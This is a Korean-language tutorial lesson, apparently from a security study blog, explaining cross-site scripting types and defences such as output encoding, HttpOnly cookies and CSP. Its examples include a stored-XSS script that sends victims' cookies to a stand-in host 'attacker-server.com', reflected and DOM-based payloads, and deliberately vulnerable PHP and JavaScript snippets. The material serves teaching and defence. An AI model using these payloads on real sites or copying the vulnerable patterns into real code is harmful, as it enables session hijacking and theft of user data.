[주요정보통신기반시설 웹 애플리케이션 취약점 분석·평가 21일 완성 코스] 6강 — [Day 6] 크로스사이트 스크립트 (Cross-Site Scripting, XSS)
[Day 6] 크로스사이트 스크립트 (Cross-Site Scripting, XSS)
안녕하세요! Hackerstory 공부방의 IT/보안 튜터 정다은입니다. 👋
어느덧 21일 완성 코스의 6일 차에 접어들었습니다! 지난 시간까지 서버 측에서 주로 발생하는 파일, 에러, 정보 노출 관련 취약점들을 살펴보았는데요. 오늘부터는 웹 애플리케이션 보안의 ‘꽃’이자 가장 자주 언급되는 클라이언트 측(Client-Side) 공격을 다뤄보려고 합니다.
오늘 배울 주제는 웹 애플리케이션 취약점 중에서도 가장 보편적이면서 위협적인 **크로스사이트 스크립트(Cross-Site Scripting, 이하 XSS)**입니다.
그럼 오늘도 활기차게 시작해 볼까요? 🚀
1. 크로스사이트 스크립트(XSS)란?
💡 개념 이해하기
**XSS(Cross-Site Scripting)**는 웹 애플리케이션이 사용자로부터 입력받은 값을 적절한 검증이나 출력 인코딩 없이 브라우저에 출력할 때 발생하는 취약점입니다.
공격자는 이 취약점을 이용하여 **악의적인 클라이언트 측 스크립트(주로 JavaScript)**를 타 사용자의 브라우저에서 실행시킵니다.
❓ 왜 CSS가 아니라 XSS인가요? 스타일시트 언어인 CSS(Cascading Style Sheets)와 약어가 같아 혼동을 피하기 위해 XSS로 부릅니다.
⚠️ XSS의 주요 영향도
SQL 인젝션이나 코드 인젝션이 **서버(Server)**를 직접 타깃으로 삼는다면, XSS는 **웹 서비스를 이용하는 다른 사용자(Client)**를 타깃으로 삼습니다.
- 세션 및 쿠키 탈취 (Session Hijacking): 사용자의 접속 세션 쿠키를 탈취하여 해당 사용자로 위장 로그인합니다.
- 악성 피싱 및 화면 변조 (Defacement/Phishing): 로그인 창 형태의 가짜 HTML 요소를 삽입하여 비밀번호나 개인정보를 입력하도록 유도합니다.
- 악성코드 유포 (Drive-by Download): 브라우저의 취약점과 연계하여 사용자 PC에 악성 파일을 자동으로 다운로드 및 실행시킵니다.
- 권한 남용: 관리자 권한을 가진 사용자가 XSS에 노출될 경우, 관리자 기능(회원 강퇴, 게시물 삭제 등)을 강제로 실행할 수 있습니다.
2. XSS의 3가지 주요 유형
XSS는 스크립트가 전달되고 실행되는 방식에 따라 크게 Stored XSS, Reflected XSS, DOM-based XSS 3가지로 나뉩니다.
┌────────────────────────────────────────────────────────┐
│ XSS 유형 │
└───────────────────────────┬────────────────────────────┘
│
┌─────────────────────────┼─────────────────────────┐
▼ ▼ ▼
[1. Stored XSS] [2. Reflected XSS] [3. DOM-based XSS]
(DB/서버 저장 후 실행) (URL 파라미터 반사) (클라이언트 DOM 조작)
① Stored XSS (저장형 XSS)
- 원리: 공격자가 작성한 악성 스크립트가 웹 서버의 Database, 게시글, 댓글, 프로필 등에 물리적으로 저장됩니다.
- 특징: 해당 게시글이나 프로필을 조회하는 모든 일반 사용자에게 스크립트가 실행되므로 피해 범위가 매우 넓고 파급력이 큽니다.
② Reflected XSS (반사형 XSS)
- 원리: 웹 애플리케이션이 요청(Request) 파라미터로 전달된 값을 검증 없이 즉시 응답(Response) 화면에 포함할 때 발생합니다.
- 특징: 스크립트가 서버에 저장되지 않습니다. 공격자는 악성 스크립트가 포함된 **URL(링크)**을 만들어 피싱 이메일이나 SNS 메시지로 피해자에게 클릭하도록 유도해야 합니다.
③ DOM-based XSS (DOM 기반 XSS)
- 원리: 서버와의 통신(응답 HTML) 없이, 클라이언트 측 JavaScript가 DOM(Document Object Model) 환경을 조작하는 과정에서 발생합니다.
- 특징: 서버 응답 본문에는 악성 스크립트가 보이지 않을 수 있어 서버 측 WAF(방화벽)나 로그 검색만으로는 탐지하기 어렵습니다.
3. 취약점 동작 예시 및 페이로드
실무에서 자주 목격되는 코드와 악성 페이로드 구조를 살펴봅시다.
예시 1: Stored XSS (게시판 댓글 기능)
공격자가 댓글 입력창에 아래와 같은 스크립트를 입력하여 저장합니다.
<!-- 공격자의 댓글 입력값 -->
안녕하세요! 잘 보고 갑니다.
<script>
// 피해자의 쿠키를 공격자 서버로 전송
new Image().src = "http://attacker-server.com/steal?cookie=" + document.cookie;
</script>
[흐름]
- 공격자가 댓글 등록 (
/board/write) - DB에
<script>...구문이 그대로 저장됨. - 일반 사용자가 댓글 목록을 조회할 때, 브라우저가 해당
<script>태그를 정상적인 코드로 인식하여 실행함. - 일반 사용자의 세션 쿠키가 공격자 서버(
attacker-server.com)로 유출됨.
예시 2: Reflected XSS (검색 기능)
웹 사이트의 검색창 취약점입니다.
- 요청 URL:
https://example.com/search?keyword=<script>alert('XSS');</script> - 취약한 서버 측 백엔드 코드 (PHP 예시):
<?php
$keyword = $_GET['keyword'];
// 입력값 검증 없이 화면에 그대로 출력!
echo "<div>검색 결과: " . $keyword . "</div>";
?>
[흐름]
- 공격자가 위와 같이 악성 스크립트가 담긴 URL을 유포함.
- 피해자가 해당 URL을 클릭.
- 서버는
keyword값을 받은 그대로 응답 HTML에 담아 보냄. - 피해자의 브라우저에서
alert('XSS')경고창이 실행됨.
예시 3: DOM-based XSS (JavaScript 소스/싱크 취약점)
서버를 거치지 않고 브라우저 내 JS 로직만으로 발생하는 예시입니다.
- 취약한 프론트엔드 JavaScript 코드:
<script>
// URL의 # 뒷부분(hash)을 가져옴 (Source)
var name = decodeURIComponent(location.hash.substring(1));
// 검증 없이 DOM 요소를 직접 조작하여 화면에 출력 (Sink)
document.getElementById("welcome").innerHTML = "환영합니다, " + name + "님!";
</script>
- 공격 URL:
https://example.com/welcome.html#<img src=x onerror=alert(1)> - 설명:
location.hash로 들어온 값이 검증 없이innerHTML을 통해 DOM에 직접 주입되면서onerror이벤트 핸들러가 실행됩니다.
4. XSS 대응 방안 (보안 대책)
XSS를 완벽히 막기 위해서는 **"입력값은 검증하고, 출력값은 인코딩한다"**는 원칙과 함께 다중 방어(Defense in Depth) 기법을 적용해야 합니다.
┌────────────────────────────────────────────────────────┐
│ XSS 보안 대책 │
└───────────────────────────┬────────────────────────────┘
│
┌─────────────────────────┼─────────────────────────┐
▼ ▼ ▼
[HTML Entity Encoding] [HttpOnly Cookie] [CSP 적용]
(출력값 기호 변환) (JS 쿠키 접근 차단) (스크립트 출처 제한)
1) HTML Entity Encoding (출력값 인코딩) - 가장 핵심!
사용자가 입력한 데이터를 HTML 본문이나 속성값으로 출력할 때, HTML 제어 문자를 안전한 HTML 엔티티(Entity) 코드로 변환합니다. 이렇게 하면 브라우저는 해당 문자를 "실행할 코드"가 아닌 "순수 텍스트"로 인식합니다.
| 특수 문자 | 변환될 HTML Entity |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
( |
( |
) |
) |
- 개발 언어별 치환 라이브러리 활용:
- Java/Spring:
NAVWER Lucy XSS Filter,OWASP Java HTML Sanitizer - Node.js:
xssnpm 패키지,DOMPurify(프론트엔드/DOM XSS 방어 시 필수) - PHP:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
- Java/Spring:
2) HttpOnly 쿠키 속성 적용
XSS가 발생하더라도 공격자가 사용자의 **세션 쿠키(Session Cookie)**를 탈취하지 못하도록 방어하는 보조 기법입니다.
- 설정 방법 (HTTP 응답 헤더):
Set-Cookie: JSESSIONID=ABC123XYZ; Secure; HttpOnly; - 효과:
HttpOnly플래그가 설정된 쿠키는 JavaScript의document.cookie객체를 통해 접근할 수 없습니다. 따라서 세션 탈취 피해를 획기적으로 줄일 수 있습니다.
3) 콘텐츠 보안 정책 (Content Security Policy, CSP) 적용
웹 서버가 응답 헤더를 통해 브라우저에게 "어디서 온 스크립트만 실행해도 되는지" 규칙을 정의하는 강력한 보안 표준입니다.
- CSP 헤더 예시:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; - 효과:
- 웹 페이지 내에 직접 작성된 인라인 스크립트(
<script>alert(1)</script>) 실행을 기본적으로 차단합니다. - 지정된 신뢰할 수 있는 도메인 외의 외부 서버에서 스크립트를 로드하는 것을 막아줍니다.
- 웹 페이지 내에 직접 작성된 인라인 스크립트(
📝 오늘 내용 요약 (Checklist)
오늘 공부한 내용을 요약해보겠습니다. 실무 진단이나 보안 개발 시 아래 체크리스트를 꼭 떠올려 주세요!
- XSS의 핵심 원리: 사용자 입력값이 검증/인코딩 없이 브라우저에 출력되어 클라이언트 스크립트가 실행되는 취약점.
- 유형 3가지:
- Stored: DB/서버에 저장되는 가장 위험한 형태
- Reflected: URL 파라미터를 타고 응답으로 반사되는 형태
- DOM-based: 브라우저 내부 JS 로직/DOM 조작 과정에서 발생하는 형태
- 대응 방안:
- ✅ HTML Entity Encoding:
<-><,>->>등 출력값 변환 (1차 방어) - ✅ HttpOnly 플래그: 세션 쿠키 탈취 차단 (2차 방어)
- ✅ CSP(콘텐츠 보안 정책) 수립: 인라인 스크립트 실행 차단 및 신뢰 도메인 제한 (3차 방어)
- ✅ HTML Entity Encoding:
🔮 다음 챕터 예고
오늘 배운 XSS가 **"공격자의 스크립트를 사용자 브라우저에서 실행시켜 세션이나 정보를 뺏는 공격"**이었다면, 내일 배울 주제는 **"사용자의 권한을 도용하여 사용자가 원치 않는 요청을 서버로 보내게 만드는 공격"**입니다.
바로 **[Day 7] 크로스사이트 요청 위조 (CSRF, Cross-Site Request Forgery)**에 대해 공부해보겠습니다. XSS와 CSRF의 명확한 차이점부터 시작해서 CSRF 토큰(Token)을 활용한 완벽 대책까지 자세히 설명해 드릴게요!
오늘도 고생 많으셨습니다. 궁심한 점이 있다면 언제든 댓글로 질문 남겨주세요. 다음 시간에 만나요! 😊
댓글 0
로그인하면 댓글을 작성할 수 있습니다.